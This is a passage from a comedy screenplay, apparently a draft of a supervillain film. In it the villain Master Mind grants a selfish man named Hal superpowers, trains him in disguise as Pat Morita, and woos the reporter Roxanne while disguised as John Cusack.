Stenwick's arm. Stenwick looks and winces as it bites him. STENWICK Ow! He brushes the spider off. MASTER MIND Anything, Stenwick? STENWICK (shaken) No. Ah...sir, I didn't know this was about spiders. I have a pretty severe case of arachnophobia. Master Mind thinks for a moment, then turns to Plato. MASTER MIND We're gonna need more venom. Plato throws another switch, this time DUMPING THOUSANDS OF SPIDERS on poor Stenwick. His SCREAMS begin to fade as he's engulfed with swarms of crawling arachnids. MASTER MIND (CONT'D) How `bout now, Stenwick? ....Stenwick? INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY Master Mind is pacing back and forth. The muted TV plays in the background. MASTER MIND This has proven to be a challenge. I just don't know what I want. What do I want? 35. He stares at Einstein, Da Vinci and Plato, but they offer no advice. MASTER MIND (CONT'D) I want a man of moral fiber with a strong sense of right and wrong. Someone who doesn't seek power - instead, they must have it thrust upon them and find, within themselves, the courage to rise to the occasion. Einstein lets out a short laugh, getting everyone's attention. EINSTEIN Yeah, well, it sounds like what you want is Uberman. Master Mind snaps the fingers of his non-metal hand. MASTER MIND That's it! Why make a copy when the real thing will do? The lackeys look at each other, they can't believe what they're hearing. EINSTEIN I was just kidding, sir. In case you forgot, you actually burned Uberman alive. MASTER MIND Then we'll make a new one. Plato, bring me the box! MINUTES LATER Master Mind and the lackeys stand in a circle around a small table. Plato places a STAINLESS STEEL CHEST in the tables center. As Master Mind opens it, he's immediately doused in WHITE GLOW emanating from inside. MASTER MIND Behold - Uberessence. The very thing that gave Uberman his superhuman powers. 36. EINSTEIN Where the hell did you get that? MASTER MIND Oh, I shot him with a power sucking gun and had this idea to use this to clone a whole army of evil Ubermen. I'm not sure why I never got around to following up with that. PLATO I believe he defeated you before you could, master. MASTER MIND ...Right. Man, he was good! DA VINCI You want another volunteer, sir? MASTER MIND Not another volunteer driven by the need for personal gain. Somebody else, somebody pure. Master Mind turns to see an INTERVIEW WITH HAL playing on the muted television. Underneath his face is a blue caption with white lettering that reads: "Hal Stewart - Metro City's Newest Hero?" NEWS REPORTER ...who risked his own life to save that of a young mother and her child. HAL Please, please, you're embarrassing me. I saw someone in need and I helped them. What more can we ask of ourselves. I ask you, what more? A smile creeps across the evil one's face. MASTER MIND (CONT'D) Somebody like him! EXT. CITY STREET - DAY Plato is sitting in the van, staring into a pair of binoculars as he speaks on a cellphone. 37. PLATO Yeah, sir. This guy is a real piece of work. He used to teach bowling at Kingpin's. INT. MASTER MIND'S HIDEOUT - DAY Master Mind is sitting with his feet up on a computer console as he speaks to Plato. MASTER MIND (into phone) A modest profession to brilliantly hide his true heroic nature. I love it. EXT. CITY STREET - DAY PLATO Then you are absolutely going to love this - We follow Plato's line of sight across the street where we see HAL PLAYING WITH A LARGE GROUP OF BLIND CHILDREN. PLATO - He volunteers at a school for the blind. INT. MASTER MIND'S HIDEOUT - DAY Intrigued, he suddenly sits up in his chair. MASTER MIND He volunteers. He doesn't ask for any reward for his deeds. The fates are shining down on me. This Mr. Stewart is truly an unselfish soul. EXT. BLIND SCHOOL - DAY From a distance, Hal seems to be consoling an upset child who's sitting on a rock. But up close... HAL You greedy little bastard. I already gave you a twenty. BLIND KID Hey, you want me to play along? Then pay up, bitch! 38. HAL Fine, but you better be convincing. He gives the kid a bill out of his wallet and looks over his shoulder to see a HOT TEACHER walking toward them. HAL Here she comes, go to work. Like a miniature Brando, the blind kid buries his face in his hands and begins to cry. BLIND KID (weeping) Why can't I see! Why God? Hal puts a warm consoling hand on the weeping boy's shoulder. HAL Hey, Peter. C'mon champ, let me look at you. The Hot Teacher stops and curiously watches from a distance. The boy looks up at Hal, tears running down his dark sunglasses - he should get an Oscar. HAL You know, in life we're all given no more than we can bear. This happened to you maybe because you were meant to rise above it - Maybe to be an inspiration to the other little Peteys out there. BLIND KID You really think so, Hal? HAL Hey, does it LOOK like I'm lying? Now c'mon, go feel your way to class before you get your little butt suspended. The boy stands up and is about to take off. HAL Petey, wait a minute. Hal uses his shirt sleeve to wipe the tears away from the boy's face before sending him on his way. 39. The Hot Teacher grabs her chest. Her heart is about to absolutely melt. HAL Don't run into anything! EXT. STREET - CONTINUOUS Plato lowers his binoculars. From his perspective, Hal should be next in line for popehood. PLATO I think I've seen enough, sir. This is your guy. MASTER MIND (O.S.) (over radio) Then return to base. We have much work to do. Plato starts up the van and pulls away. INT. BAR - DAY It's a busy night. A couple of trucker types are shooting pool as the bartender slings drinks. Hal is nursing a beer at the bar when he suddenly notices a very ATTRACTIVE WOMAN sitting next to him. As he goes to straighten his stool-posture, Hal suddenly catches himself on the bar's TELEVISION - it's a story about how he saved the woman and her baby at the construction site. He turns back to the Attractive Woman next to him, then back to the TV. A plan of attack is forming. HAL (obviously playing it up for the woman's benefit) Oh, there it is again. This is really getting embarrassing now. The woman looks up at the screen and gives Hal a double-take. ATTRACTIVE WOMAN Oh my God! It's you! You're the man who saved that woman and her baby the other day! It is you, isn't it? TRUCKER #1, getting a drink at the bar next to them, OVERHEARS. 40. Hal rolls his eyes and puts his hands up in the air. HAL (to Attractive Woman) Oh, crap. You got me. TRUCKER#1 taps Hal on the shoulder. TRUCKER#1 Let me tell you something. That was just about the bravest damn thing I've ever witnessed. (he turns to the rest of the bar) Hey, everybody! This guy's the hero from TV! The bar ERUPTS IN CHEERS. MOMENTS LATER Hal is riding on the shoulders of TRUCKER#2 and TRUCKER#3 as `I'm Holding Out For A Hero' plays on the jukebox. TRUCKER#1 suddenly puts his hands in the air. The room quickly goes silent. TRUCKER#1 I want to give you something. He reaches into his pocket and takes out a medal. He holds it up in the air for everyone to see. TRUCKER#1 (CONT'D) Lost my whole platoon. They were a lot a good boys, a lot of good boys. That was just the way things were in "The Grenada." I'd rather a real hero have this. Trucker#1 gives the medal to a speechless Hal. ATTRACTIVE WOMAN Hey, you're on TV again. The crowd looks up at the Television. TELEVISION - CONTINUOUS The anchor man, BRAD HELMS (early 40's, amazing mustache), suddenly has a memo passed to him. 41. BRAD HELMS This just in. Upon a second look at that tape from this morning, which we'll now replay for you, it appears it was not the heroic act it first seemed to be. The tape shows Hal running in slow motion. BRAD HELMS (O.S.) (CONT'D) With the tape slowed down you can actually see the man push the woman and her child out of the way in an effort to save his own life. The tape shows Hal, in a clear act of self-preservation, pushing the woman and child out of the way. CUT BACK TO: INT. BAR - CONTINUOUS In unison, everyone turns their heads back to Hal. HAL I guess that looks kinda bad. Trucker#1 snatches his medal back. EXT. NEARBY ROOF - NIGHT Master Mind, Da Vinci and Plato look down, spotting Hal cutting through a dark alley. DA VINCI There he is, boss. Da Vinci hands Master Mind a fantastic looking silver rifle. MASTER MIND Now, we're sure this won't kill him? PLATO Yes, sir. He'll just feel a slight electrical shock. MASTER MIND Good. Master Mind raises the rifle and aims it at Hal. 42. EXT. ALLEY - NIGHT Hal wipes the blood from his nose with his shirtsleeve. A LIGHTENING BOLT suddenly zaps Hal in the back. His teeth spark and arc electrons as his entire body shakes and shudders violently. He finally collapses, knocking over a row of garbage cans. EXT. NEARBY ROOF - NIGHT An angry Master Mind slaps Plato. MASTER MIND Slight electrical shock? EXT. ALLEY - NIGHT Hal lies flat on his back, his jacket smoldering. Dazed, he slowly rises to his feet and looks up at the sky. HAL God, I hate the weather in this city. Hal walks off into the night as he attempts to slap the emitting smoke from his jacket. EXT. NEARBY ROOF - NIGHT Master Mind turns to Da Vinci. MASTER MIND Follow him. INT. HAL'S APARTMENT - NIGHT It's a dirty, small studio. Laundry lies everywhere, dishes are piled in the sink and the litter box looks like a minefield. Hal comes staggering in. Through his POV we see the lights wobble and streak like a hallucination. He shakes his head trying to clear thing up, but it looks worse. Hal makes his way to the kitchen table and plops down on a chair. The room begins to swim. His CAT jumps on the table and sits down in front of him. 43. From Hal's POV the cat's face looks like we're seeing it through a kaleidoscope. Hal seems fascinated by it. CAT You don't look so good, man. HAL I don't feel good. I was struck by freaking lightening. Suddenly Hal realizes his cat's talking to him. HAL (CONT'D) AAAAAAHHHHH! You can talk? CAT No, you're just hallucinating. By the way, we're out of orange juice. HAL AAAAAAHHHHH! Hal jumps up, trips over a cardboard box and knocks himself out on the coffee table. INT. HAL'S APARTMENT - MORNING Hal lies in the same position we left him last night. He sits up and grabs his head. He looks like he has the worst hangover in the world. Finally, he remembers last night. He looks around, but not really sure what he's looking for. HAL Man... Shaking his head, he walks to the kitchen and opens the refrigerator. He pulls out an orange juice container and puts it to his mouth. It's empty. As if suddenly remembering something he looks from the carton to the cat, who is busy cleaning himself. He shakes the thought from his mind. BATHROOM Hal lifts the seat and unbuckles his pants. 44. HAL'S FACE He stares at the ceiling with half closed eyes. The inevitable sound of urine hitting water starts. A content look washes over his face. There is a distinct sound of porcelain CRACKING and SPLINTERING. The sound intensifies. Hal looks down to see his URINE STREAM SMASHING THE TOILET. HAL (CONT'D) Oh, God! He whips his stream away only to cut a LONG RIP IN THE WALL. HAL (CONT'D) Oh, God! He freaks out and begins to lose control of his flow as it destroys everything he accidently aims at; the bathroom mirror, a bottle of cheap cologne, the bathroom window. HAL (CONT'D) Oh, God! He aims back for the toilet, which is pretty much rubble now, to see the floor give way. Finally, the pee stops and he glances down the hole. He sees his downstairs NEIGHBOR sitting at his breakfast table. He has a fork halfway to his mouth as he stares at the smashed toilet on his pancakes. EXT. STREET - DAY Hal turns the corner to see his bus pulling away from the stop. HAL Wait! He starts running after it. ZOOM - HE TAKES OFF LIKE LIGHTENING. HAL (CONT'D) Whoa, whoa, whoa! Unable to stop, he SLAMS INTO THE BACK OF THE BUS and falls back to the ground. 45. As the bus continues on he sees an INDENTATION of his torso right below the rear window. Stunned, to say the least, he rises to his feet. HAL (CONT'D) Something's not right here. He slaps himself in the face as hard as he can. HAL (CONT'D) Wake up! Wake up, Hal! HONK! Hal spins around to see a car barreling toward him. He goes to jump out of the way - ZOOM - he FLIES TWO STORIES UP, nails a building and comes crashing back down to the sidewalk. Hal sits up, disheveled and scared. HAL (CONT'D) Okay, okay. Let's get it together, man. He closes his eyes in an attempt to will back his sanity. HAL (CONT'D) This is just some sort of...episode. It will pass, it will pass. He opens his eyes and looks down the street. A BEAUTIFUL NAKED WOMAN is coming toward him. HAL (CONT'D) Well, not too fast I hope. As she passes him and turns the corner out of his view he catches ANOTHER NAKED WOMAN - an old disgusting one. HAL (CONT'D) Yes, fast, fast! He turns away from her in horror only to see AN ENTIRE BLOCK OF NAKED PEOPLE going about their business. He rubs his eyes and looks down the street again. Everyone has returned to a clothed state. 46. He relaxes a little until he looks down and notices that he's floating a foot off the ground. HAL (CONT'D) I think I need to go home. INT. HAL'S APARTMENT - DAY Hal's front door CREAKS as it slowly opens, revealing Master Mind. He walks over to the bathroom and smiles to himself as he notices the giant hole in the floor. MASTER MIND Welcome to your second birth, Hal Stewart. Master Mind continues to survey the room. He stops to look over a "KARATE KID" POSTER on Hal's living room wall. He focuses on the majestic image of Pat Morita teaching a young Ralph Macchio to kick. MASTER MIND (CONT'D) Instruction is very important in the formative years. Every hero needs a mentor, a father figure to look up to. He presses his special watch, causing his body to MORPH INTO THE SPITTING-IMAGE OF PAT MORITA. "PAT MORITA" Perfect. INT. HAL'S APARTMENT - DAY Hal enters, grabs a bottle of vodka from atop of the fridge and takes a long pull from it. VOICE (O.S.) A man will usually find that if he drinks from a bottle, eventually, the bottle drinks from him. Hal does a SPIT TAKE. In the corner a darkened figure stands. HAL Who are you!? 47. VOICE I am the guide on your journey. Fate has chosen you to be it's champion. Pat Morita steps out from the shadows. Hal passes out again. LATER We are close on Hal's face as his eyes flutter open. He appears to be lying on the couch. He hunches up on his elbows, looks around, but everything is as it seems. He lays his head back down. HAL Thank God. It was a dream. Man, I must be losing it. A voice sounds right next to his ear. "PAT MORITA" (O.S.) You know you're out of orange juice? Hal leaps up to find he's been resting his head on Pat's lap. HAL Jesus! This isn't happening, this isn't happening. Hal backs away and trips over a box. "PAT MORITA" Calm. All things must be filtered through calmness. HAL Bullshit! Sometimes it's best to freak out. "PAT MORITA" I think we must work on your attitude first. HAL Look I'm gonna call the cops in about two seconds if you don't get out of here. 48. Pat rises and walks to Hal. He's so calm it makes Hal calm. "PAT MORITA" Are you calm now? HAL Yeah, I'm okay. Pat slaps him across the face hard. "PAT MORITA" Good, because we've got a lot of work to do. Hal grabs his jaw. HAL What the hell was that for? "PAT MORITA" Rule number one: expect the unexpected. HAL Can you just tell me what this is all about? "PAT MORITA" The heavens are not in the habit of bestowing a gift such as this to just anyone. You are being rewarded for being a man of great moral fortitude with an unwavering belief in humanity. HAL That's me alright. "PAT MORITA" I am to train you so you may fulfill your destiny to defeat the great menace to Metro City: Master Mind. Pat gets up and walks toward the door. "PAT MORITA" (CONT'D) Come. HAL We're are we going? 49. "PAT MORITA" To train. EXT. PAT'S CAR - DAY Pat is sitting in the driver's seat. The car is bumping up and down. "PAT MORITA" Strength is just as much in the mind as it is the muscle. Remember, both need to be exercised. We PULL BACK to see Hal lifting the car up over his head. He's hardly straining. HAL I'M LIFTING A FREAKING CAR!!! Pat leans on the HORN. "PAT MORITA" Hey, Corky? You listening? Two highly attractive female joggers run by. They're clearly impressed with Hal's show of strength. He smiles and mouths a "hello." HAL Yeah, work both muscles. EXT. DESERT - DAY Pat cocks back the chamber of a .357 MAGNUM. He holds it up and carefully takes aim...at Hal's chest. "PAT MORITA" Trust me. HAL What are you doing!? "PAT MORITA" An invulnerability test. Something wrong? HAL Uh...yeah. I would prefer not to get shot. Do not fire that thing! Frustrated, Pat lowers the gun. 50. "PAT MORITA" You're bulletproof. HAL Okay, do you know that for sure? Pat quickly aims and fires. Hal lets out a high pitched scream as the bullet ricochets off his chest. "PAT MORITA" I do now. Hal looks down at his chest, not so much as a scratch. HAL You suck. EXT. SKY - DAY Hal is in the air flying in a sitting position. He's weaving back and forth. HAL Ice Man, I got a bogie on my tail. Two Russian Migs coming in hard and fast. "PAT MORITA" Hey! HAL What? Hal looks down to see Pat Morita yelling at him from the roof of a building down below. "PAT MORITA" What did I tell you? Stomach down, hands up. Hal sighs and assumes the proper superhero in-flight position. HAL God, I feel so gay. Pat's CELL PHONE begins to RING. He answers it. "PAT MORITA" (in Master Mind voice) What is it? 51. ROXANNE (V.O.) John? Pat panics. He looks up to make sure no one is in earshot. He sees Hal now doing somersaults in the air. HAL YEEEE HAWWWW! Pat turns his attention back to the phone, talking in his John Cusack voice. "PAT MORITA" (in Cusack voice) Yes, it's John Cusack. ROXANNE (V.O.) Hi, it's Roxanne. Listen, I...I really enjoyed talking with you the other day. "PAT MORITA" ...As did I. ROXANNE (V.O.) Great. God, I feel really silly, and if you have a lot going on I totally understand. But, I was wondering if you maybe wanted to have lunch. He can't believe what he's hearing. "PAT MORITA" (excited) I'd love to! He quickly recovers his composure. "PAT MORITA" (CONT'D) I mean, I AM a little hungry. ROXANNE (V.O.) Great. How does the park sound, around noon-ish? "PAT MORITA" Sure! ROXANNE (V.O.) Great, see you then. 52. Pat hangs up the phone and returns it to his pocket as Hal lands behind him. HAL WHOOOOA! Man, that is so cool. It's like fly - Oh my God, I almost said it was like flying. "PAT MORITA" For the rest of the day I want you to continue to practice your flying posture. HAL Why, where're ya going? "PAT MORITA" ...To do something...mysterious ...and Asian. HAL Say no more, bro. I'll just keep at it, then. EXT. PARK - DAY John Cusack and Roxanne eat WRAPPED SANDWICHES while walking through Metro City Park. ROXANNE How's your sandwich? "JOHN CUSACK" It's quite delicious. ROXANNE Hope you don't think I'm too forward. Some men are intimidated when a woman asks them out. I just find you really easy to talk to. "JOHN CUSACK" And I you. ROXANNE You know, you're not at all like you are in the movies. "JOHN CUSACK" I'm not? 53. ROXANNE Yeah. I don't know - You have this strange, refined way of speaking. "JOHN CUSACK" I do? That is most interesting. ROXANNE Anyway, when we were talking the other day I just felt, even though we only talked for a couple of hours, that we've known each other for years. "JOHN CUSACK" I know just what you mean. Roxanne bites into her sandwich. ROXANNE You know what? This sandwich is disgusting. She tosses it in a nearby garbage can. ROXANNE (CONT'D) Of course I already ate half of it. I wonder what that says about my character? "JOHN CUSACK" It means you don't give up on a sandwich. You see that it has potential, and you give it every chance to be all it can be. Roxanne smiles at his analogy. ROXANNE Thanks, but knowing me, I was probably projecting my expectations of what a lunch should be on the sandwich. It might have been okay at first, but I just made it bitter. John Cusack notices Roxanne's smile starting to fade. "JOHN CUSACK" Is that what happened with your last sandwich - I mean, boyfriend? 54. ROXANNE When I look back, I probably shouldn't of expected so much from him. He was already a giving person. You know, one of those go out and save the world types. "JOHN CUSACK" I've run into a few. ROXANNE I was selfish, I guess. I didn't want to share him with anybody else. "JOHN CUSACK" It sounds like he was a special man. ROXANNE They broke the mold. John Cusack arches his eyebrow in a very familiar manner. "JOHN CUSACK" Perhaps not. INT. ABANDONED WAREHOUSE - DAY Hal walks up to Pat Morita sporting a Lone Ranger-type mask and wearing a purple and red superhero costume. It's not unlike Uberman's except for a giant "T" on his chest. (From here on, Hal is referred to as TITAN) TITAN What's the "T" stand for? "PAT MORITA" Titan. TITAN What's that supposed to mean? "PAT MORITA" It's from Roman mythology. Zeus's father...oh, just go with it. You look perfect. TITAN I don't think this mask is big enough. Are you sure no one is gonna recognize me? 55. "PAT MORITA" It's fine, just don't slouch. It's all in the posture. He grabs Titan's shoulders like a proud papa. "PAT MORITA" (CONT'D) It is time. INT. BANK - DAY There is a long line of people snaked around the velvet ropes. They're all waiting for their chance at the one open teller window. Four men wearing BEATLES MASKS(JOHN,PAUL,GEORGE,AND RINGO)and CARRYING SHOTGUNS enter the bank. John fires a shot in the air, sending everyone into an immediate panic. JOHN Alright folks, this is a robbery. Nobody moves - yadda, yadda, yadda... Ringo jumps over the teller wall and starts stuffing bills into a bag. As John and Paul cover the crowd, George goes to the corner office and puts a gun to the BANK MANAGER'S head. GEORGE The safe. Let's go. BANK MANAGER Okay, just don't hurt anyone. GEORGE Yeah, yeah, yeah. George leads him out by the collar. CRASH - Titan smashes through the window and lands in a bold superhero stance with hands on hips. TITAN Well, boys, there's no need for all this just to get the free toaster. Paul cocks his gun. 56. PAUL What are you suppose to be? We move in for a nice dramatic close up. TITAN Justice. GEORGE Well, justice, suck on this... George, John and Paul open fire on Titan. He just stands there and yawns as the bullets bounce off him. With their guns empty the three just stare at him in amazement. TITAN Now it's my turn. He turns to George. TITAN (CONT'D) Hey, George, here comes the sun. Titan grabs George and throws him into a fluorescent light fixture in the ceiling. Paul tries to run for the door. Titan snatches the collar of his jacket. TITAN (CONT'D) Say, Paul, your mother should know...that you're a scumbag. He tosses Paul out the window and into a parked DELIVERY TRUCK. Titan turns around just as John hits him with the butt of his shotgun. It instantly breaks apart in his hands. Titan lifts him like a rag doll up into the air. TITAN (CONT'D) John, all you need is love... He throws John who lands on top of a cubical wall - GROIN FIRST. TITAN (CONT'D) ...and a good urologist. 57. Titan effortlessly hops over the teller wall to find Ringo cowering on the floor. He grabs him by the shirt and lifts him up. HAL Well, Ringo...um...um...you're under arrest. EXT. BANK - DAY Titan walks out of the bank with Ringo and George under his arm. He's suddenly swarmed by a group of television reporters, including Roxanne. Across the street is Pat Morita. He watches Titan's first news conference with great anxiety. BANK MANAGER (to Hal) On behalf of the First National Bank of Metro City, I'd like to offer you a reward for your act of bravery. He hands Titan a check. TITAN (reading) Ten thousand dollars! Titan looks over to Pat, who violently shakes his head no. TITAN (CONT'D) (unenthusiastically) I...can't except this. Law and order is it's own...um...reward. Pat gives him the thumbs up. Pat turns, suddenly seeing Roxanne with her camera crew. Captivated, his eyes lock on her. Meanwhile, Roxanne and her cameraman, SETH, are maneuvering around the crowd to get closer to Titan. BRAD HELMS (O.S.) Not so fast, Roxanne. They both turn to see Roxanne's reporter rival Brad Helms, Geraldo without the class, and his cameraman, FRANK. BRAD HELMS This story's mine. 58. ROXANNE Listen, Brad. We were just in the area. I was just trying to - BRAD HELMS I've been in this business long enough to know pretty well what you were "just trying to do." Besides, I heard you couldn't take the big game anymore and were put on fluff detail? Dejected, Roxanne turns and motions for Seth to turn the camera off. SETH You're not gonna take that from him, are you? ROXANNE He's right. Old habit, I guess. (to Brad) We'll get out of your way. As they walk off, Brad makes a comment to Frank loud enough for her to hear. BRAD HELMS Besides, I'm sure there's a pancake supper somewhere that needs covering. INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY ON TELEVISION We see the news conference on the bank's steps. In the corner of the screen is written: "recorded earlier." BRAD HELMS For months now, since the death of Uberman, the citizens of Metro City have been holding out for a hero. Well, it appears they won't have to hold out for much longer as a new costumed crusader has suddenly stormed onto the scene. Today, at the Metro Savings and Trust, a masked mystery man single-handedly defeated "The Fab Four Gang." Just who is this new caped avenger? Brad holds the microphone to Titan's face. 59. BRAD HELMS I'm sure all of our viewers are now wondering, what's the "T" stand for? TITAN It's a message to all the scum out there. Uberman may be gone, but Metro City has a new protector, and his name is "Tighten!" Another reporter leans in. REPORTER How do you spell that? We PULL BACK to see Plato and Da Vinci watching this spectacle. Master Mind is sitting with them, reading a NEWSPAPER. MASTER MIND (reading paper) Oh, for heaven's sake. I can't believe it. He misspelled his name. Master Mind holds up the newspaper. The headline reads "Metro's New Hero: Tighten." MASTER MIND (CONT'D) No matter, I suppose. Master Mind throws the paper on the floor and begins to pace around the room with his arms folded behind his back. MASTER MIND (CONT'D) We've now fully established Titan as Metro City's hero. They will love him just as they loved Uberman. Everything is going according to plan. Einstein leans over and whispers in Plato's ear. EINSTEIN (whispering) Yeah, if the plan is getting us in jail. Master Mind turns around, facing Einstein. He walks over, standing face to face with the rebellious henchmen. 60. MASTER MIND You know, Einstein, maybe I should have called you Socrates. He also didn't know when to keep his thoughts to himself. EINSTEIN I just fail to see the point in all of this. I mean, why are we creating another superhero when it was such a pain in the ass for you to get rid of the other one? I mean, Uberman is destroyed, we should be using this opportunity to...to... MASTER MIND To what? EINSTEIN I don't know. To take over the weather, space, the world - whatever super villains are SUPPOSED to do. MASTER MIND The reason someone like you will always be a minion is because you have no foresight. We take over the earth, like you said. Then what? Women? Cars? Money? Even the grandest treasures will lose their lustre if you don't have someone to hold them over. Einstein throws up his hands. He's had enough. He pulls off his wig and throws it to the floor. EINSTEIN That's it! This balance of the force bullshit is getting way too Oprah for me. I'm blowing. Who's with me? MASTER MIND You dare? EINSTEIN Yeah, I dare. I'm sick of wearing stupid costumes, and I'm sick of working for a super villain who's turning into a softie. 61. Plato and Da Vinci's mouths drop to the floor. They turn to Master Mind for his rebuttal. MASTER MIND What - did - you - call me? EINSTEIN You heard me. You used to be an inhuman monster, now look at you. You're creating super heroes, you don't go with us on robberies anymore, it's been days since you threatened anyone, oh, and not to mention this Roxanne Ritchi thing. MASTER MIND THAT is none of your business, knave! EINSTEIN Hey, you guys haven't sealed the deal yet, have you? MASTER MIND Silence! EINSTEIN (In a woman's voice) Oh, Master, your head is so big. MASTER MIND I'm warning you, Einstein. EINSTEIN (In a woman's voice) Take me! MASTER MIND I said silence! With his metal gauntlet Master Mind grabs Einstein by the throat and lifts him into the air. Einstein looks frightened as he tries to pry himself free of Master Mind's grip. Master Mind's eyes soften as if his heart is suddenly not into what he's about to do. He let's Einstein drop to the floor. MASTER MIND (CONT'D) Get out of my sight. 62. EXT. RESTAURANT - NIGHT Roxanne and John Cusack are eating on the outside patio of a fancy restaurant. ROXANNE Don't get me wrong, I love being a reporter. I don't think I could do anything else. It's the consequences of what we do that I'm having a problem with. He listens intently as he refills her glass with wine. "JOHN CUSACK" That's where journalistic responsibility comes in, no? ROXANNE It's supposed to. "JOHN CUSACK" Sounds to me like you're running from something. ROXANNE I got someone I cared about killed. If it wasn't for me, he wouldn't have been involved. John suddenly gets a disturbed look in his eye, realizing what she's talking about. He reaches across the table and takes her hand. "JOHN CUSACK" You can't blame yourself. My father used to say each of us must answer the great call to truly feel alive. ROXANNE Was he an actor? "JOHN CUSACK" ...No. He was...a landscaper. And a horrible one. I mean he would fail time and time again at his...landscaping. And sometimes he'd get pretty beaten up or thrown in jail - ROXANNE Jail? 63. "JOHN CUSACK" My point is he took the good with the bad. He grew a little each time. Improved, learned. ROXANNE Was he ever successful? "JOHN CUSACK" God, no...but don't let deter you. Roxanne LAUGHS. ROXANNE Thanks for this. You know, this is embarrassing, but it's been a long time since I - It's starting to lightly sprinkle. Roxanne looks up. ROXANNE (CONT'D) I think it's starting to rain. We might want to find a table inside. "JOHN CUSACK" What were you gonna say? ROXANNE Oh, I was gonna say...It's been a long time since...well, I've been with someone I...enjoy being with. John Cusack smiles warmly and raises his glass for a toast. "JOHN CUSACK" To people who enjoy being with each other. They go to clang glasses, when the rain suddenly causes John Cusack's disguise generator to short. His true form of Master Mind is briefly revealed to Roxanne as a BOLT OF ELECTRICITY encircles his body. Roxanne drops her glass and jumps out of her seat. MASTER MIND (CONT'D) Oh, no. Don't look at me. LIKE A BROKEN TV the image keeps switching between MASTER MIND AND JOHN CUSACK. 64. As Master Mind starts to franticly slap at his watch, the Cusack disguise begins to hold steady. He nonchalantly returns to cutting his steak. "JOHN CUSACK" Okay, never mind that. Now, where were we? Roxanne grabs his glass and throws the drink in his face, causing the generator to short out permanently. Master Mind now sits in his true blue form. ROXANNE Oh my God. MASTER MIND You're not gonna get all freaky about this, are you? ROXANNE This...this is too much, even for you. God, I go out with you, tell you my innermost thoughts. MASTER MIND I only did this because I wanted to talk to you on the same level. You know, without all the baggage? ROXANNE Baggage? You burned my boyfriend alive, you sick son-of-a-bitch! MASTER MIND You see, that's exactly what I'm talking about. Roxanne starts to walk away. MASTER MIND (CONT'D) Roxanne! ROXANNE Stay away from me. Master Mind sinks back down to his chair. Despite the now heavy rain bombarding him, he returns to his food. Several resturaunt patron's are looking at him through the window. 65. Our villain turns to them, giving them a villainous glare. MASTER MIND What? INT. MASTER MIND'S BEDROOM - NIGHT Master Mind is lying on his back, wide awake. MASTER MIND (mumbling to himself) Stupid. What was I thinking? Plato, it's his fault. He's the one who sent me on this weak-willed path. I'll filet his scrotum for this. Me, a creature of evil, in love with Roxanne Ritchi. Preposterous. I hardly give such matters thought He rolls onto his side. He yawns and closes his eyes. Suddenly, they shoot back open. CUT TO: EXT. ROXANNE'S APARTMENT - NIGHT Master Mind pulls up in a blue Rolls Royce, across the street from Roxanne's apartment He stares up at the building, hoping to catch a glimpse of her. Finally, she appears, primping her hair in her apartment window's reflection. MASTER MIND I should just go up there and just lay it all out to her. "Roxanne, I like you - I always have. Oh, and I'm sorry I blew up your ex. (realizing the absurdity of his words) Yeah, that would go over like a pants-less clown at a child's birthday party. What the hell am I even doing here? Who cares what she thinks? I'm a supervillain and here I am acting like a love struck schoolboy. Forget this. I control my own destiny! 66. He turns the ignition key - NOTHING HAPPENS. He repeats but gets the same results. MASTER MIND (CONT'D) (disgusted) Perfect. INT. ROXANNE'S APARTMENT - NIGHT She pulls a pack of smokes off her night stand. Empty. ROXANNE Damn. She grabs her long coat and throws it over her robe. EXT. ROXANNE'S APARTMENT BUILDING Roxanne steps outside. ROXANNE Please be open. Across the street is a liquor store. The light is still on. ROXANNE (CONT'D) Thank God. She walks across the street, passing in front of Master Mind's car. Spotting her, he sinks down in his seat. Roxanne walks by, totally unaware of his presence. Relieved, Master Mind sits back up and watches her go into the store. INT. LIQUOR STORE - NIGHT Roxanne walks up to an elderly Korean SHOPKEEPER at the counter. ROXANNE A pack of Lady Strikes, please. EXT. MASTER MIND'S CAR - NIGHT Master Mind is talking on his cell phone. MASTER MIND Hello, Triple A? 67. He suddenly spots something across the street. EXT. LIQUOR STORE - NIGHT A HOODLUM walks up to the entrance of the store and pulls out a gun from under his coat. EXT. MASTER MIND'S CAR - NIGHT Master Mind stares in shock. MASTER MIND I'll call you back. He hangs up the phone and watches the Hoodlum go inside the store. INT. LIQUOR STORE - NIGHT The Hoodlum reaches across the counter and grabs a fist full of cash from the register. SHOPKEEPER Hey! SHOTGUN HOODLUM Shut up, Gramps. He turns to Roxanne, spotting a GOLD NECKLACE around her neck. SHOTGUN HOODLUM (CONT'D) Gimme that necklace! ROXANNE I don't think so. The Hoodlum cocks his shotgun. SHOTGUN HOODLUM I said give it to me! MASTER MIND (O.S.) The lady said no. The hoodlum turns around to see Master Mind in the doorway holding a STRANGE-LOOKING HAND CANNON (GOO GUN) with knobs and blinking lights. The hoodlum starts to laugh. 68. SHOTGUN HOODLUM What the hell's that? A super soaker? MASTER MIND No, it's a goo gun. The hoodlum turns his gun to Master Mind. SHOTGUN HOODLUM Yeah, what's it do? MASTER MIND It goos. Master Mind fires the cannon. It instantly covers the store in a cloud of SMOKE. The smoke clears to reveal the hoodlum STUCK TO THE WALL, covered in a thick, GREEN GUNK. Roxanne stares at him, dumbfounded. MASTER MIND (CONT'D) It's...a prototype. Master Mind starts to walk out when he's suddenly confronted by the shopkeeper. SHOPKEEPER I know you! You Master Brain guy. You a hero. Master Mind points the goo gun at him. MASTER MIND Don't - EVER - say that again. EXT. LIQUOR STORE - NIGHT Master Mind walks out with the cannon resting on his shoulder like he's a short timer in Da Nang. Roxanne follows shortly behind him. ROXANNE Hey! Master Mind turns around. ROXANNE (CONT'D) Are you following me or something? 69. MASTER MIND Don't flatter yourself. He turns away and continues walking. Roxanne runs in front of him blocking his way. ROXANNE Don't walk away from me when I'm talking to you. Finally it occurs to her what's going on. ROXANNE (CONT'D) What a minute...all that stuff you use to say to me when Uberman was alive - about me being the loyal queen by your side as you rule over Metro City. That wasn't just super villain rhetoric, was it? You actually meant it! MASTER MIND My, someone has a rather high opinion of themselves. They stare at each other in silence, their glares locked in conflict. ROXANNE (coldly) Do you really think I would be with someone like you? This stings Master Mind to the bone. And after a brief contemplation, he reaches the only logical, painful conclusion. MASTER MIND No. With that, Master Mind exits into the night, leaving Roxanne with a baffled expression on her face. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind enters in a huff. Da Vinci closes the door behind him as Plato notices his master's agitated state. PLATO Everything alright, sir? Master Mind GRABS PLATO BY THE 